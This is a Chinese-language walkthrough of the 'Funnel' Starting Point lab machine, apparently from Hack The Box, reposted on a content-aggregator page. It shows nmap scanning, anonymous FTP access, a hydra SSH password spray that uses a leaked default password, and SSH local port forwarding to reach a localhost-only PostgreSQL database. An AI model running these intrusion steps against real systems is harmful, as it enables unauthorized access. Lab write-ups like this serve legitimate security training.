[StartingPoint][Tier1]Funnel

Task 1

How many TCP ports are open?

(打开了多少个 TCP 端口?)

# nmap -sS -T4 10.129.224.226 --min-rate 1000

2

Task 2

What is the name of the directory that is available on the FTP server?

(FTP 服务器上可用的目录名称是什么?)

$ nmap -sC 10.129.224.226 -p 21

image.png

21端口存在匿名访问

mail_backup

Task 3

What is the default account password that every new member on the “Funnel” team should change as soon as possible?

(“漏斗”团队的每个新成员应该尽快更改的默认帐户密码是什么?)

ftp> get ./mail_backup/password_policy.pdf ./1.pdf

image.png

image.png

funnel123#!#

Task 4

Which user has not changed their default password yet?

(哪个用户还没有更改过默认密码?)

-users.txt-
optimus
albert
andreas
christine
maria

$ hydra -L ./users.txt -p funnel123#!# ssh://10.129.224.226

christine

Task 5

Which service is running on TCP port 5432 and listens only on localhost?

(哪个服务在 TCP 端口 5432 上运行并且仅侦听本地主机?)

# nmap -sV -p 5432 10.129.224.226

image.png

postgresql

Task 6

Since you can’t access the previously mentioned service from the local machine, you will have to create a tunnel and connect to it from your machine. What is the correct type of tunneling to use? remote port forwarding or local port forwarding?

(由于您无法从本地计算机访问前面提到的服务,因此您必须创建一个隧道并从您的计算机连接到它。正确使用的隧道类型是什么?远程端口转发还是本地端口转发?)

  • 本地端口转发(Local Port Forwarding): 在本地端口转发中,客户端建立一个到远程服务器的连接,并在本地主机上创建一个监听指定端口的服务。当有数据发送到本地监听的端口时,数据被加密并发送到远程服务器,然后远程服务器将其解密并转发到最终的目标。这种方式可以让客户端访问无法直接访问的服务,或者增加数据传输的安全性。本地端口转发常用于构建加密隧道,例如通过 SSH 连接远程服务器并转发本地端口以访问内部网络资源。
    ssh -L [本地地址:]本地端口:目标地址:目标端口 用户名@远程主机

  • 远程端口转发(Remote Port Forwarding): 在远程端口转发中,远程服务器建立一个到本地主机的连接,并在远程服务器上创建一个监听指定端口的服务。当有数据发送到远程服务器上的监听端口时,数据被转发到本地主机,然后本地主机将其处理。这种方式通常用于使远程服务器上的服务能够被外部访问,或者用于跨越 NAT 或防火墙访问内部网络资源。
    ssh -R [远程地址:]远程端口:目标地址:目标端口 用户名@远程主机

local port forwarding

Task 7

$ ssh -L 4444:10.129.224.226:5432 christine@10.129.224.226

image.png

让远程服务器转发自己的5432端口服务到我们主机的4444端口

连接本地转发端口

$ psql -U christine -h localhost -p 4444

image.png

christine=# \list

image.png

secrets

Task 8

Could you use a dynamic tunnel instead of local port forwarding? Yes or No.

(你能利用一个动态的隧道,而不是当地的港口转发? “是"或"否”。)

yes

Flag

christine=#\connect secrets

image.png

christine=#\dt

image.png

secrets=# select * from flag;

image.png

cf277664b1771217d7006acdea006db1

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/521797.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

爬虫 新闻网站 以湖南法治报为例(含详细注释,控制台版) V3.0 升级 自定义查询关键词、时间段、粗略判断新闻是否和优化营商环境相关,避免自己再一个个判断

目标网站:湖南法治报 爬取目的:为了获取某一地区更全面的在湖南法治报的已发布的和优化营商环境相关的宣传新闻稿,同时也让自己的工作更便捷 环境:Pycharm2021,Python3.10, 安装的包:requests&a…

强力推荐一款具有故障保护和CAN FD 功能的隔离CAN收发器 SiLM5150S

控制器局域网总线(CAN,Controller Area Network),是一种用于实时应用的串行通讯协议总线,它可以使用双绞线来传输信号,是目前应用最广泛的现场总线之一。CAN协议具有实时性强、可靠性高、传输距离远的特点,适用于各种复…

Python中定时任务调度利器APScheduler

在Python开发中,经常需要执行一些定时任务,比如定期发送邮件、定期更新数据等。APScheduler(Advanced Python Scheduler)是一个强大且易用的Python库,专门用于定时任务调度。它提供了丰富的调度接口,使得定…

51单片机学习笔记14 LCD1602显示屏使用

51单片机学习笔记14 LCD1602显示屏使用 一、LCD1602介绍1. 简介2. 引脚定义3. DDRAM4. 字模5. 指令(1)清屏指令 0x01(2)光标归位指令 0x02(3)进入模式设置指令 0x06(4)显示开关控制指…

短毛猫也能吃得好!揭秘宠物店推荐猫粮的秘密!

短毛猫通常毛发短而浓密,性格温顺,容易打理。那么,对于我们这些爱护短毛猫的朋友们来说,选择一款合适的猫粮就显得尤为重要了。今天,我要向大家推荐一款我个人非常喜欢的猫粮——福派斯三文鱼益生菌猫粮。 &#x1f41…

SAP操作教程第7期:SAP B1日期偏离允许范围解决方法

作为一种灵活的工具,自定义能够充分满足企业多样的需求。它允许你根据个人或团队的具体需求和情况来调整计划。通过自定义,你可以根据优先级、时间表、资源分配和风险管理等因素,制定更具体、实用的计划。 下面我们将详细探讨在SAP Business …

ARM_04

1.总结二进制信号量和计数型信号量的区别,以及他们的使用场景。 二进制信号量:只有0和1,一般用于资源共享时使用 计数型信号量:值一般是大于等于2的,可以实现同步互斥作用 2.使用技术型信号量完成生产者和消费者模型…

vue快速入门(九)事件绑定参数传递

注释很详细&#xff0c;直接上代码 上一篇 新增内容 事件绑定基础模板事件传参方法 源码 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, init…

蓝桥杯嵌入式(G431)备赛笔记——LED

目录 cubeMX配置&#xff1a; 代码模板&#xff1a; 注意&#xff1a; cubeMX配置&#xff1a; 原理图&#xff0c;其中PD2高电平使能锁存器&#xff0c;PC8-15默认给高电平&#xff0c;放置上电初始化LED亮 74HC573是八路输出锁存器 1脚是使能&#xff0c;低电平有效&#…

【JavaEE】浅谈线程(一)

线程 前言线程的由来线程是什么线程的属性线程更高效的原因举个例子&#xff08;线程便利性的体现&#xff09; 多线程代码线程并发执行的代码jconsole(观测多线程) 线程的调度问题创建线程的几种方法1&#xff09;通过继承Thread 重写run2&#xff09;使用Runnable接口 重写ru…

Ubuntu系统同时使用AMD和NVIDIA GPU出现的问题及解决

问题产生&#xff1a; Ubuntu 22.04系统同时使用了AMD W7900和NVIDIA GTX 1070Ti&#xff0c;想用1070Ti做显示&#xff0c;W7900做运算。结果Ubuntu 22.04系统不能启动了。 解决方法&#xff1a; 同时按下Ctrl和Alt键&#xff0c;并保持按住。在此过程中&#xff0c;按一下…

Windows Server 2012 R2安装远程桌面服务

文章目录 一、打开【服务器管理器】二、点击【添加角色和功能】三、点击【下一步】四、点击【下一步】五、点击【下一步】![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/05b61a830faf477e81f858ec00bbdfff.png)六、勾选【远程桌面服务】→点击【下一步】七、点击【…

ruoyi-nbcio-plus基于vue3的flowable流程设计器组件的升级修改

更多ruoyi-nbcio功能请看演示系统 gitee源代码地址 前后端代码&#xff1a; https://gitee.com/nbacheng/ruoyi-nbcio 演示地址&#xff1a;RuoYi-Nbcio后台管理系统 http://122.227.135.243:9666/ 更多nbcio-boot功能请看演示系统 gitee源代码地址 后端代码&#xff1a…

删除有序链表中的重复元素

. - 力扣&#xff08;LeetCode&#xff09; 给定一个已排序的链表的头 head &#xff0c; 删除原始链表中所有重复数字的节点&#xff0c;只留下不同的数字 。返回 已排序的链表 。 示例 1&#xff1a; 输入&#xff1a;head [1,2,3,3,4,4,5] 输出&#xff1a;[1,2,5]示例 2&…

软考系统规划与管理师-第1章考点思维导图

系规&#xff5c;教程第1章脑图发布&#xff0c;用4幅图掌控信息系统综合知识的考点地图 2024年指尖疯在9年之后&#xff0c;首次扩展到系规课程。 虽然目前系统规划与管理师的教程是否改版存在不确定性&#xff0c;但是不影响咱们先概要了解当前的教程&#xff0c;使用思维导图…

Python实现 AI 绘图(非常详细)零基础入门到精通,收藏这一篇就够了

今天给大家带来了 Python 对接阿里大模型&#xff0c;通过 AI 实现文本生成图片。 相关资料 这个功能使用的主要 API 是阿里的大模型服务。 开通服务 阿里文档 https://help.aliyun.com/zh/dashscope/developer-reference/quick-start-1?disableWebsiteRedirecttrue 获取 a…

阿里云4核8G服务器ECS通用算力型u1实例优惠价格

阿里云4核8G服务器优惠价格955元一年&#xff0c;配置为ECS通用算力型u1实例&#xff08;ecs.u1-c1m2.xlarge&#xff09;4核8G配置、1M到3M带宽可选、ESSD Entry系统盘20G到40G可选&#xff0c;CPU采用Intel(R) Xeon(R) Platinum处理器&#xff0c;阿里云活动链接 aliyunfuwuq…

DFS:floodfill算法解决矩阵联通块问题

floodfill&#xff0c;翻译为洪水灌溉&#xff0c;而floodfill算法本质上是为了解决在矩阵中性质相同的联通块问题。 一、图像渲染 . - 力扣&#xff08;LeetCode&#xff09; class Solution { public:int dx[4]{0,0,1,-1};int dy[4]{1,-1,0,0};int prev;//记住初始值int m,…

内容检索(2024.04.07)

随着创作数量的增加&#xff0c;博客文章所涉及的内容越来越庞杂&#xff0c;为了更为方便地阅读&#xff0c;后续更新发布的文章将陆续在此汇总并附上原文链接&#xff0c;感兴趣的小伙伴们可持续关注文章发布动态&#xff01; 本期更新内容&#xff1a; 1. 真实案例分享--P…

能不能换DB吗?--抽象工厂模式

1.1 就不能不换DB吗&#xff1f; 都是换数据库惹的祸。 "我们团队前段时间用.net的C#来开发好一个项目&#xff0c;是给一家企业做的电子商务网站&#xff0c;是用SQL Server作为数据库的&#xff0c;应该说上线后除了开始有些小问题&#xff0c;基本都还可以。而后&#…